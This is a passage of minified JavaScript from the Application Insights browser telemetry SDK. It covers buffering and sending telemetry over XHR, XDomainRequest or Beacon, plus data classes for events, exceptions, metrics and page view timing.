i,r;try{if(i=n.Util.getSessionStorage(t),i&&(r=JSON.parse(i),r))return r}catch(u){n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.FailedToRestoreStorageBuffer," storage key: "+t+", "+n.Util.getExceptionName(u),{exception:n.Util.dump(u)})}return[]},t.prototype.setBuffer=function(t,i){try{var u=JSON.stringify(i);n.Util.setSessionStorage(t,u)}catch(r){n.Util.setSessionStorage(t,JSON.stringify([]));n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.FailedToSetStorageBuffer," storage key: "+t+", "+n.Util.getExceptionName(r)+". Buffer cleared",{exception:n.Util.dump(r)})}},t.BUFFER_KEY="AI_buffer",t.SENT_BUFFER_KEY="AI_sentBuffer",t.MAX_BUFFER_SIZE=2e3,t}();n.SessionStorageSendBuffer=t}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){function t(t){this._XMLHttpRequestSupported=!1;this._consecutiveErrors=0;this._retryAt=null;this._lastSend=0;this._config=t;this._sender=null;this._buffer=n.Util.canUseSessionStorage()&&this._config.enableSessionStorageBuffer()?new n.SessionStorageSendBuffer(t):new n.ArraySendBuffer(t);!this._config.isBeaconApiDisabled()&&n.Util.IsBeaconApiSupported()?this._sender=this._beaconSender:"undefined"!=typeof XMLHttpRequest&&("withCredentials"in new XMLHttpRequest?(this._sender=this._xhrSender,this._XMLHttpRequestSupported=!0):"undefined"!=typeof XDomainRequest&&(this._sender=this._xdrSender))}return t.prototype.send=function(t){try{if(this._config.disableTelemetry())return;if(!t)return void n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.CannotSendEmptyTelemetry,"Cannot send empty telemetry");if(!this._sender)return void n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.SenderNotInitialized,"Sender was not initialized");var i=n.Serializer.serialize(t),f=this._buffer.getItems(),r=this._buffer.batchPayloads(f);r&&r.length+i.length>this._config.maxBatchSizeInBytes()&&this.triggerSend();this._buffer.enqueue(i);this._setupTimer()}catch(u){n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.FailedAddingTelemetryToBuffer,"Failed adding telemetry to the sender's buffer, some telemetry will be lost: "+n.Util.getExceptionName(u),{exception:n.Util.dump(u)})}},t.prototype._setupTimer=function(){var i=this,n,t;this._timeoutHandle||(n=this._retryAt?Math.max(0,this._retryAt-Date.now()):0,t=Math.max(this._config.maxBatchInterval(),n),this._timeoutHandle=setTimeout(function(){i.triggerSend()},t))},t.prototype._getSizeInBytes=function(n){var r=0,t,i;if(n&&n.length)for(t=0;t<n.length;t++)i=n[t],i&&i.length&&(r+=i.length);return r},t.prototype.triggerSend=function(t){void 0===t&&(t=!0);try{if(this._config.disableTelemetry())this._buffer.clear();else{if(this._buffer.count()>0){var r=this._buffer.getItems();this._sender(r,t)}this._lastSend=+new Date}clearTimeout(this._timeoutHandle);this._timeoutHandle=null;this._retryAt=null}catch(i){(!n.Util.getIEVersion()||n.Util.getIEVersion()>9)&&n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.TransmissionFailed,"Telemetry transmission failed, some telemetry will be lost: "+n.Util.getExceptionName(i),{exception:n.Util.dump(i)})}},t.prototype._setRetryTime=function(){var n,t,i,r;this._consecutiveErrors<=1?n=10:(t=(Math.pow(2,this._consecutiveErrors)-1)/2,i=Math.floor(Math.random()*t*10)+1,n=Math.max(Math.min(i,3600),10));r=Date.now()+1e3*n;this._retryAt=r},t.prototype._parseResponse=function(t){try{if(t&&""!==t){var i=JSON.parse(t);if(i&&i.itemsReceived&&i.itemsReceived>=i.itemsAccepted&&i.itemsReceived-i.itemsAccepted==i.errors.length)return i}}catch(r){n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.InvalidBackendResponse,"Cannot parse the response. "+n.Util.getExceptionName(r),{response:t})}return null},t.prototype._isRetriable=function(n){return 408==n||429==n||500==n||503==n},t.prototype._resendPayload=function(n){var t,i,r;if(n&&0!==n.length){for(this._buffer.clearSent(n),this._consecutiveErrors++,t=0,i=n;t<i.length;t++)r=i[t],this._buffer.enqueue(r);this._setRetryTime();this._setupTimer()}},t.prototype._formatErrorMessageXhr=function(n,t){return n?"XMLHttpRequest,Status:"+n.status+",Response:"+n.responseText||n.response||"":t},t.prototype._formatErrorMessageXdr=function(n,t){return n?"XDomainRequest,Response:"+n.responseText||"":t},t.prototype._xhrSender=function(t,i){var u=this,r=new XMLHttpRequest,f;r[n.AjaxMonitor.DisabledPropertyName]=!0;r.open("POST",this._config.endpointUrl(),i);r.setRequestHeader("Content-type","application/json");n.Util.isInternalApplicationInsightsEndpoint(this._config.endpointUrl())&&r.setRequestHeader(n.RequestHeaders.sdkContextHeader,n.RequestHeaders.sdkContextHeaderAppIdRequest);r.onreadystatechange=function(){return u._xhrReadyStateChange(r,t,t.length)};r.onerror=function(n){return u._onError(t,u._formatErrorMessageXhr(r),n)};f=this._buffer.batchPayloads(t);r.send(f);this._buffer.markAsSent(t)},t.prototype._xdrSender=function(t){var r=this,i=new XDomainRequest,u,f,e;if(i.onload=function(){return r._xdrOnLoad(i,t)},i.onerror=function(n){return r._onError(t,r._formatErrorMessageXdr(i),n)},u=window.location.protocol,0!==this._config.endpointUrl().lastIndexOf(u,0))return n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.TransmissionFailed,". Cannot send XDomain request. The endpoint URL protocol doesn't match the hosting page protocol."),void this._buffer.clear();f=this._config.endpointUrl().replace(/^(https?:)/,"");i.open("POST",f);e=this._buffer.batchPayloads(t);i.send(e);this._buffer.markAsSent(t)},t.prototype._beaconSender=function(t){var i=this._config.endpointUrl(),r=this._buffer.batchPayloads(t),u=new Blob([r],{type:"text/plain;charset=UTF-8"});navigator.sendBeacon(i,u)?this._buffer.markAsSent(t):n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.TransmissionFailed,". Failed to send telemetry with Beacon API.")},t.prototype._xhrReadyStateChange=function(t,i,r){if(4===t.readyState){var u=null;this._appId||(u=this._parseResponse(t.responseText||t.response))&&u.appId&&(this._appId=u.appId);(t.status<200||t.status>=300)&&0!==t.status?!this._config.isRetryDisabled()&&this._isRetriable(t.status)?(this._resendPayload(i),n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.TransmissionFailed,". Response code "+t.status+". Will retry to send "+i.length+" items.")):this._onError(i,this._formatErrorMessageXhr(t)):206===t.status?(u||(u=this._parseResponse(t.responseText||t.response)),u&&!this._config.isRetryDisabled()?this._onPartialSuccess(i,u):this._onError(i,this._formatErrorMessageXhr(t))):(this._consecutiveErrors=0,this._onSuccess(i,r))}},t.prototype._xdrOnLoad=function(n,t){if(n&&(n.responseText+""=="200"||""===n.responseText))this._consecutiveErrors=0,this._onSuccess(t,0);else{var i=this._parseResponse(n.responseText);i&&i.itemsReceived&&i.itemsReceived>i.itemsAccepted&&!this._config.isRetryDisabled()?this._onPartialSuccess(t,i):this._onError(t,this._formatErrorMessageXdr(n))}},t.prototype._onPartialSuccess=function(t,i){for(var e,o,r=[],u=[],f=0,s=i.errors.reverse();f<s.length;f++)e=s[f],o=t.splice(e.index,1)[0],this._isRetriable(e.statusCode)?u.push(o):r.push(o);t.length>0&&this._onSuccess(t,i.itemsAccepted);r.length>0&&this._onError(r,this._formatErrorMessageXhr(null,["partial success",i.itemsAccepted,"of",i.itemsReceived].join(" ")));u.length>0&&(this._resendPayload(u),n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.TransmissionFailed,"Partial success. Delivered: "+t.length+", Failed: "+r.length+". Will retry to send "+u.length+" our of "+i.itemsReceived+" items"))},t.prototype._onError=function(t,i){n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.OnError,"Failed to send telemetry.",{message:i});this._buffer.clearSent(t)},t.prototype._onSuccess=function(n){this._buffer.clearSent(n)},t.MaxBeaconPayloadSize=65536,t}();n.Sender=t}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){var t=function(n){function t(){var t=n.call(this)||this;return t.ver=2,t.properties={},t}return __extends(t,n),t}(Microsoft.Telemetry.Domain);n.MessageData=t}(AI||(AI={}));!function(n){!function(n){!function(t){var i=function(i){function r(r,u,f){var e=i.call(this)||this;return e.aiDataContract={ver:n.FieldType.Required,message:n.FieldType.Required,severityLevel:n.FieldType.Default,properties:n.FieldType.Default},r=r||n.Util.NotSpecified,e.message=t.Common.DataSanitizer.sanitizeMessage(r),e.properties=t.Common.DataSanitizer.sanitizeProperties(u),f&&(e.severityLevel=f),e}return __extends(r,i),r.envelopeType="Microsoft.ApplicationInsights.{0}.Message",r.dataType="MessageData",r}(AI.MessageData);t.Trace=i}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(t){function i(i,r,u){var f=t.call(this)||this;return f.aiDataContract={ver:n.FieldType.Required,name:n.FieldType.Required,properties:n.FieldType.Default,measurements:n.FieldType.Default},f.name=n.Telemetry.Common.DataSanitizer.sanitizeString(i)||n.Util.NotSpecified,f.properties=n.Telemetry.Common.DataSanitizer.sanitizeProperties(r),f.measurements=n.Telemetry.Common.DataSanitizer.sanitizeMeasurements(u),f}return __extends(i,t),i.envelopeType="Microsoft.ApplicationInsights.{0}.Event",i.dataType="EventData",i}(AI.EventData);t.Event=i}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){var t=function(){return function(){this.hasFullStack=!0;this.parsedStack=[]}}();n.ExceptionDetails=t}(AI||(AI={}));!function(n){var t=function(n){function t(){var t=n.call(this)||this;return t.ver=2,t.exceptions=[],t.properties={},t.measurements={},t}return __extends(t,n),t}(Microsoft.Telemetry.Domain);n.ExceptionData=t}(AI||(AI={}));!function(n){var t=function(){return function(){}}();n.StackFrame=t}(AI||(AI={}));!function(n){!function(n){!function(t){var u=function(t){function i(i,u,f,e){var o=t.call(this)||this;return o.aiDataContract={ver:n.FieldType.Required,exceptions:n.FieldType.Required,severityLevel:n.FieldType.Default,properties:n.FieldType.Default,measurements:n.FieldType.Default},o.properties=n.Telemetry.Common.DataSanitizer.sanitizeProperties(u),o.measurements=n.Telemetry.Common.DataSanitizer.sanitizeMeasurements(f),o.exceptions=[new r(i)],e&&(o.severityLevel=e),o}return __extends(i,t),i.CreateSimpleException=function(n,t,i,r,u){return{exceptions:[{hasFullStack:!0,message:n,stack:u,typeName:t}]}},i.envelopeType="Microsoft.ApplicationInsights.{0}.Exception",i.dataType="ExceptionData",i}(AI.ExceptionData),r,i;t.Exception=u;r=function(r){function u(i){var u=r.call(this)||this,f;return u.aiDataContract={id:n.FieldType.Default,outerId:n.FieldType.Default,typeName:n.FieldType.Required,message:n.FieldType.Required,hasFullStack:n.FieldType.Default,stack:n.FieldType.Default,parsedStack:n.FieldType.Array},u.typeName=t.Common.DataSanitizer.sanitizeString(i.name)||n.Util.NotSpecified,u.message=t.Common.DataSanitizer.sanitizeMessage(i.message)||n.Util.NotSpecified,f=i.stack,u.parsedStack=u.parseStack(f),u.stack=t.Common.DataSanitizer.sanitizeException(f),u.hasFullStack=n.Util.isArray(u.parsedStack)&&u.parsedStack.length>0,u}return __extends(u,r),u.prototype.parseStack=function(n){var t=undefined,f,c,o,a;if("string"==typeof n){f=n.split("\n");t=[];for(var v=0,h=0,e=0;e<=f.length;e++)c=f[e],i.regex.test(c)&&(o=new i(f[e],v++),h+=o.sizeInBytes,t.push(o));if(h>32768)for(var r=0,u=t.length-1,y=0,s=r,l=u;r<u;){if((y+=t[r].sizeInBytes+t[u].sizeInBytes)>32768){a=l-s+1;t.splice(s,a);break}s=r;l=u;r++;u--}}return t},u}(AI.ExceptionDetails);i=function(t){function i(r,u){var f=t.call(this)||this,e;return f.sizeInBytes=0,f.aiDataContract={level:n.FieldType.Required,method:n.FieldType.Required,assembly:n.FieldType.Default,fileName:n.FieldType.Default,line:n.FieldType.Default},f.level=u,f.method="<no_method>",f.assembly=n.Util.trim(r),e=r.match(i.regex),e&&e.length>=5&&(f.method=n.Util.trim(e[2])||f.method,f.fileName=n.Util.trim(e[4]),f.line=parseInt(e[5])||0),f.sizeInBytes+=f.method.length,f.sizeInBytes+=f.fileName.length,f.sizeInBytes+=f.assembly.length,f.sizeInBytes+=i.baseSize,f.sizeInBytes+=f.level.toString().length,f.sizeInBytes+=f.line.toString().length,f}return __extends(i,t),i.regex=/^([\s]+at)?(.*?)(\@|\s\(|\s)([^\(\@\n]+):([0-9]+):([0-9]+)(\)?)$/,i.baseSize=58,i}(AI.StackFrame);t._StackFrame=i}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){n[n.Measurement=0]="Measurement";n[n.Aggregation=1]="Aggregation"}(n.DataPointType||(n.DataPointType={}))}(AI||(AI={}));!function(n){var t=function(){return function(){this.kind=n.DataPointType.Measurement}}();n.DataPoint=t}(AI||(AI={}));!function(n){var t=function(n){function t(){var t=n.call(this)||this;return t.ver=2,t.metrics=[],t.properties={},t}return __extends(t,n),t}(Microsoft.Telemetry.Domain);n.MetricData=t}(AI||(AI={}));!function(n){!function(n){!function(t){!function(t){var i=function(t){function i(){var i=null!==t&&t.apply(this,arguments)||this;return i.aiDataContract={name:n.FieldType.Required,kind:n.FieldType.Default,value:n.FieldType.Required,count:n.FieldType.Default,min:n.FieldType.Default,max:n.FieldType.Default,stdDev:n.FieldType.Default},i}return __extends(i,t),i}(AI.DataPoint);t.DataPoint=i}(t.Common||(t.Common={}))}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){!function(i){var r=function(r){function u(u,f,e,o,s,h){var l=r.call(this)||this,c;return l.aiDataContract={ver:t.FieldType.Required,metrics:t.FieldType.Required,properties:t.FieldType.Default},c=new n.ApplicationInsights.Telemetry.Common.DataPoint,c.count=e>0?e:undefined,c.max=isNaN(s)||null===s?undefined:s,c.min=isNaN(o)||null===o?undefined:o,c.name=i.Common.DataSanitizer.sanitizeString(u)||t.Util.NotSpecified,c.value=f,l.metrics=[c],l.properties=t.Telemetry.Common.DataSanitizer.sanitizeProperties(h),l}return __extends(u,r),u.envelopeType="Microsoft.ApplicationInsights.{0}.Metric",u.dataType="MetricData",u}(AI.MetricData);i.Metric=r}(t.Telemetry||(t.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(i){function r(r,u,f,e,o,s){var h=i.call(this)||this;return h.aiDataContract={ver:n.FieldType.Required,name:n.FieldType.Default,url:n.FieldType.Default,duration:n.FieldType.Default,properties:n.FieldType.Default,measurements:n.FieldType.Default,id:n.FieldType.Default},h.id=t.Common.DataSanitizer.sanitizeId(s),h.url=t.Common.DataSanitizer.sanitizeUrl(u),h.name=t.Common.DataSanitizer.sanitizeString(r)||n.Util.NotSpecified,isNaN(f)||(h.duration=n.Util.msToTimeSpan(f)),h.properties=n.Telemetry.Common.DataSanitizer.sanitizeProperties(e),h.measurements=n.Telemetry.Common.DataSanitizer.sanitizeMeasurements(o),h}return __extends(r,i),r.envelopeType="Microsoft.ApplicationInsights.{0}.Pageview",r.dataType="PageviewData",r}(AI.PageViewData);t.PageView=i}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){var t=function(n){function t(){var t=n.call(this)||this;return t.ver=2,t.properties={},t.measurements={},t}return __extends(t,n),t}(n.PageViewData);n.PageViewPerfData=t}(AI||(AI={}));!function(n){!function(n){!function(t){var i=function(i){function r(u,f,e,o,s){var h=i.call(this)||this,c;if(h.aiDataContract={ver:n.FieldType.Required,name:n.FieldType.Default,url:n.FieldType.Default,duration:n.FieldType.Default,perfTotal:n.FieldType.Default,networkConnect:n.FieldType.Default,sentRequest:n.FieldType.Default,receivedResponse:n.FieldType.Default,domProcessing:n.FieldType.Default,properties:n.FieldType.Default,measurements:n.FieldType.Default},h.isValid=!1,c=r.getPerformanceTiming(),c){var l=r.getDuration(c.navigationStart,c.loadEventEnd),a=r.getDuration(c.navigationStart,c.connectEnd),v=r.getDuration(c.requestStart,c.responseStart),y=r.getDuration(c.responseStart,c.responseEnd),p=r.getDuration(c.responseEnd,c.loadEventEnd);0==l?n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.ErrorPVCalc,"error calculating page view performance.",{total:l,network:a,request:v,response:y,dom:p}):r.shouldCollectDuration(l,a,v,y,p)?l<Math.floor(a)+Math.floor(v)+Math.floor(y)+Math.floor(p)?n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.ClientPerformanceMathError,"client performance math error.",{total:l,network:a,request:v,response:y,dom:p}):(h.durationMs=l,h.perfTotal=h.duration=n.Util.msToTimeSpan(l),h.networkConnect=n.Util.msToTimeSpan(a),h.sentRequest=n.Util.msToTimeSpan(v),h.receivedResponse=n.Util.msToTimeSpan(y),h.domProcessing=n.Util.msToTimeSpan(p),h.isValid=!0):n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.InvalidDurationValue,"Invalid page load duration value. Browser perf data won't be sent.",{total:l,network:a,request:v,response:y,dom:p})}return h.url=t.Common.DataSanitizer.sanitizeUrl(f),h.name=t.Common.DataSanitizer.sanitizeString(u)||n.Util.NotSpecified,h.properties=n.Telemetry.Common.DataSanitizer.sanitizeProperties(o),h.measurements=n.Telemetry.Common.DataSanitizer.sanitizeMeasurements(s),h}return __extends(r,i),r.prototype.getIsValid=function(){return this.isValid},r.prototype.getDurationMs=function(){return this.durationMs},r.getPerformanceTiming=function(){return r.isPerformanceTimingSupported()?window.performance.timing:null},r.isPerformanceTimingSupported=function(){return"undefined"!=typeof window&&window.performance&&window.performance.timing},r.isPerformanceTimingDataReady=function(){var n=window.performance.timing;return n.domainLookupStart>0&&n.navigationStart>0&&n.responseStart>0&&n.requestStart>0&&n.loadEventEnd>0&&n.responseEnd>0&&n.connectEnd>0&&n.domLoading>0},r.getDuration=function(n,t){var i=undefined;return isNaN(n)||isNaN(t)||(i=Math.max(t-n,0)),i},r.shouldCollectDuration=function(){for(var i,u,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];var e=["googlebot","adsbot-google","apis-google","mediapartners-google"],o=navigator.userAgent,f=!1;if(o)for(i=0;i<e.length;i++)f=f||-1!==o.toLowerCase().indexOf(e[i]);if(f)return!1;for(u=0;u<t.length;u++)if(t[u]>=r.MAX_DURATION_ALLOWED)return!1;return!0},r.envelopeType="Microsoft.ApplicationInsights.{0}.PageviewPerformance",r.dataType="PageviewPerformanceData",r.MAX_DURATION_ALLOWED=36e5,r}(AI.PageViewPerfData);t.PageViewPerformance=i}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){var i=function(){function i(n){var i=this;this._config=n;this._sender=new t.Sender(n);this.appId=function(){return i._sender._appId};n.appId()&&(this._sender._appId=n.appId());this.telemetryInitializers=[];"undefined"!=typeof window&&(this._sessionManager=new t.Context._SessionManager(n),this.application=new t.Context.Application,this.device=new t.Context.Device,this.internal=new t.Context.Internal(n),this.location=new t.Context.Location,this.user=new t.Context.User(n),this.operation=new t.Context.Operation,this.session=new t.Context.Session,this.sample=new t.Context.Sample(n.sampleRate()));this._addDefaultTelemetryInitializers()}return i.prototype.addTelemetryInitializer=function(n){this.telemetryInitializers.push(n)},i.prototype.track=function(n){return n?(n.name===t.Telemetry.PageView.envelopeType&&t._InternalLogging.resetInternalMessageCount(),this.session&&"string"!=typeof this.session.id&&this._sessionManager.update(),this._track(n)):t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.TrackArgumentsNotSpecified,"cannot call .track() with a null or undefined argument",null,!0),n},i.prototype._addDefaultTelemetryInitializers=function(){if(!this._config.isBrowserLinkTrackingEnabled()){var t=["/browserLinkSignalR/","/__browserLink/"];this.addTelemetryInitializer(function(i){var r,u;if(i.name===n.ApplicationInsights.Telemetry.RemoteDependencyData.envelopeType&&(r=i.data,r&&r.baseData))for(u=0;u<t.length;u++)if(r.baseData.name.indexOf(t[u])>=0)return!1;return!0})}},i.prototype._track=function(n){var i,f,r,u,o;this.session&&("string"==typeof this.session.id?this._applySessionContext(n,this.session):this._applySessionContext(n,this._sessionManager.automaticSession));this._applyApplicationContext(n,this.application);this._applyDeviceContext(n,this.device);this._applyInternalContext(n,this.internal);this._applyLocationContext(n,this.location);this._applySampleContext(n,this.sample);this._applyUserContext(n,this.user);this._applyOperationContext(n,this.operation);n.iKey=this._config.instrumentationKey();i=!1;try{for(f=this.telemetryInitializers.length,r=0;r<f;++r)if(u=this.telemetryInitializers[r],u&&!1===u.apply(null,[n])){i=!0;break}}catch(e){i=!0;t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.TelemetryInitializerFailed,"One of telemetry initializers failed, telemetry item will not be sent: "+t.Util.getExceptionName(e),{exception:t.Util.dump(e)},!0)}return i||(n.name===t.Telemetry.Metric.envelopeType||this.sample.isSampledIn(n)?(o=this._config.instrumentationKey().replace(/-/g,""),n.name=n.name.replace("{0}",o),this._sender.send(n)):t._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.TelemetrySampledAndNotSent,"Telemetry is sampled and not sent to the AI service.",{SampleRate:this.sample.sampleRate},!0)),n},i.prototype._applyApplicationContext=function(n,t){if(t){var i=new AI.ContextTagKeys;"string"==typeof t.ver&&(n.tags[i.applicationVersion]=t.ver);"string"==typeof t.build&&(n.tags[i.applicationBuild]=t.build)}},i.prototype._applyDeviceContext=function(n,t){var i=new AI.ContextTagKeys;t&&("string"==typeof t.id&&(n.tags[i.deviceId]=t.id),"string"==typeof t.ip&&(n.tags[i.deviceIp]=t.ip),"string"==typeof t.language&&(n.tags[i.deviceLanguage]=t.language),"string"==typeof t.locale&&(n.tags[i.deviceLocale]=t.locale),"string"==typeof t.model&&(n.tags[i.deviceModel]=t.model),"undefined"!=typeof t.network&&(n.tags[i.deviceNetwork]=t.network),"string"==typeof t.oemName&&(n.tags[i.deviceOEMName]=t.oemName),"string"==typeof t.os&&(n.tags[i.deviceOS]=t.os),"string"==typeof t.osversion&&(n.tags[i.deviceOSVersion]=t.osversion),"string"==typeof t.resolution&&(n.tags[i.deviceScreenResolution]=t.resolution),"string"==typeof t.type&&(n.tags[i.deviceType]=t.type))},i.prototype._applyInternalContext=function(n,t){if(t){var i=new AI.ContextTagKeys;"string"==typeof t.agentVersion&&(n.tags[i.internalAgentVersion]=t.agentVersion);"string"==typeof t.sdkVersion&&(n.tags[i.internalSdkVersion]=t.sdkVersion)}},i.prototype._applyLocationContext=function(n,t){if(t){var i=new AI.ContextTagKeys;"string"==typeof t.ip&&(n.tags[i.locationIp]=t.ip)}},i.prototype._applyOperationContext=function(n,t){if(t){var i=new AI.ContextTagKeys;"string"==typeof t.id&&(n.tags[i.operationId]=t.id);"string"==typeof t.name&&(n.tags[i.operationName]=t.name);"string"==typeof t.parentId&&(n.tags[i.operationParentId]=t.parentId);"string"==typeof t.rootId&&(n.tags[i.operationRootId]=t.rootId);"string"==typeof t.syntheticSource&&(n.tags[i.operationSyntheticSource]=t.syntheticSource)}},i.prototype._applySampleContext=function(n,t){t&&(n.sampleRate=t.sampleRate)},i.prototype._applySessionContext=function(n,t){if(t){var i=new AI.ContextTagKeys;"string"==typeof t.id&&(n.tags[i.sessionId]=t.id);"undefined"!=typeof t.isFirst&&(n.tags[i.sessionIsFirst]=t.isFirst)}},i.prototype._applyUserContext=function(n,t){if(t){var i=new AI.ContextTagKeys;"string"==typeof t.accountId&&(n.tags[i.userAccountId]=t.accountId);"string"==typeof t.agent&&(n.tags[i.userAgent]=t.agent);"string"==typeof t.id&&(n.tags[i.userId]=t.id);"string"==typeof t.authenticatedId&&(n.tags[i.userAuthUserId]=t.authenticatedId);"string"==typeof t.storeRegion&&(n.tags[i.userStoreRegion]=t.storeRegion)}},i}();t.TelemetryContext=i}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){var i=function(n){function t(){return n.call(this)||this}return __extends(t,n),t}(n.Telemetry.Base);t.Data=i}(n.Telemetry||(n.Telemetry={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){!function(i){!function(i){var r=function(n){function i(i,r){var u=n.call(this)||this;return u.aiDataContract={baseType:t.FieldType.Required,baseData:t.FieldType.Required},u.baseType=i,u.baseData=r,u}return __extends(i,n),i}(n.Telemetry.Data);i.Data=r}(i.Common||(i.Common={}))}(t.Telemetry||(t.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(){function i(n,t){this.pageViewPerformanceSent=!1;this.overridePageViewDuration=!1;this.overridePageViewDuration=t;this.appInsights=n}return i.prototype.trackPageView=function(i,r,u,f,e){var o=this,s,h,c,l;"string"!=typeof i&&(i=window.document&&window.document.title||"");"string"!=typeof r&&(r=window.location&&window.location.href||"");s=!1;h=undefined;t.PageViewPerformance.isPerformanceTimingSupported()?(c=t.PageViewPerformance.getPerformanceTiming().navigationStart,h=t.PageViewPerformance.getDuration(c,+new Date),t.PageViewPerformance.shouldCollectDuration(h)||(h=undefined)):(this.appInsights.sendPageViewInternal(i,r,isNaN(e)?undefined:e,u,f),this.appInsights.flush(),s=!0);s||!this.overridePageViewDuration&&isNaN(e)||(this.appInsights.sendPageViewInternal(i,r,isNaN(e)?h:e,u,f),this.appInsights.flush(),s=!0);t.PageViewPerformance.isPerformanceTimingSupported()?l=setInterval(function(){try{if(t.PageViewPerformance.isPerformanceTimingDataReady()){clearInterval(l);var e=new t.PageViewPerformance(i,r,null,u,f);e.getIsValid()||s?(s||o.appInsights.sendPageViewInternal(i,r,e.getDurationMs(),u,f),o.pageViewPerformanceSent||(o.appInsights.sendPageViewPerformanceInternal(e),o.pageViewPerformanceSent=!0),o.appInsights.flush()):(o.appInsights.sendPageViewInternal(i,r,h,u,f),o.appInsights.flush())}else t.PageViewPerformance.getDuration(c,+new Date)>6e4&&(clearInterval(l),s||(o.appInsights.sendPageViewInternal(i,r,6e4,u,f),o.appInsights.flush()))}catch(a){n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.TrackPVFailedCalc,"trackPageView failed on page load calculation: "+n.Util.getExceptionName(a),{exception:n.Util.dump(a)})}},100):n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.NavigationTimingNotSupported,"trackPageView: navigation timing API used for calculation of page duration is not supported in this browser. This page view will be collected without duration and timing info.")},i}();t.PageViewManager=i}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var r=function(){function t(n){this.prevPageVisitDataKeyName="prevPageVisitData";this.pageVisitTimeTrackingHandler=n}return t.prototype.trackPreviousPageVisit=function(t,i){try{var r=this.restartPageVisitTimer(t,i);r&&this.pageVisitTimeTrackingHandler(r.pageName,r.pageUrl,r.pageVisitTime)}catch(u){n._InternalLogging.warnToConsole("Auto track page visit time failed, metric will not be collected: "+n.Util.dump(u))}},t.prototype.restartPageVisitTimer=function(t,i){try{var r=this.stopPageVisitTimer();return this.startPageVisitTimer(t,i),r}catch(u){return n._InternalLogging.warnToConsole("Call to restart failed: "+n.Util.dump(u)),null}},t.prototype.startPageVisitTimer=function(t,r){try{if(n.Util.canUseSessionStorage()){if(null!=n.Util.getSessionStorage(this.prevPageVisitDataKeyName))throw new Error("Cannot call startPageVisit consecutively without first calling stopPageVisit");var u=new i(t,r),f=JSON.stringify(u);n.Util.setSessionStorage(this.prevPageVisitDataKeyName,f)}}catch(e){n._InternalLogging.warnToConsole("Call to start failed: "+n.Util.dump(e))}},t.prototype.stopPageVisitTimer=function(){var r,i,t;try{return n.Util.canUseSessionStorage()?(r=Date.now(),i=n.Util.getSessionStorage(this.prevPageVisitDataKeyName),i)?(t=JSON.parse(i),t.pageVisitTime=r-t.pageVisitStartTime,n.Util.removeSessionStorage(this.prevPageVisitDataKeyName),t):null:null}catch(u){return n._InternalLogging.warnToConsole("Stop page visit timer failed: "+n.Util.dump(u)),null}},t}(),i;t.PageVisitTimeManager=r;i=function(){return function(n,t){this.pageVisitStartTime=Date.now();this.pageName=n;this.pageUrl=t}}();t.PageVisitData=i}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){function t(){this.hashCodeGeneragor=new n.HashCodeScoreGenerator}return t.prototype.isEnabled=function(n,t){return this.hashCodeGeneragor.getHashCodeScore(n)<t},t}();n.SplitTest=t}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){var r,i;t.Version="1.0.20";r=function(){function r(u){var f=this,e,o,s;if(this._trackAjaxAttempts=0,this.config=u||{},e=r.defaultConfig,e!==undefined)for(o in e)this.config[o]===undefined&&(this.config[o]=e[o]);t._InternalLogging.verboseLogging=function(){return f.config.verboseLogging};t._InternalLogging.enableDebugExceptions=function(){return 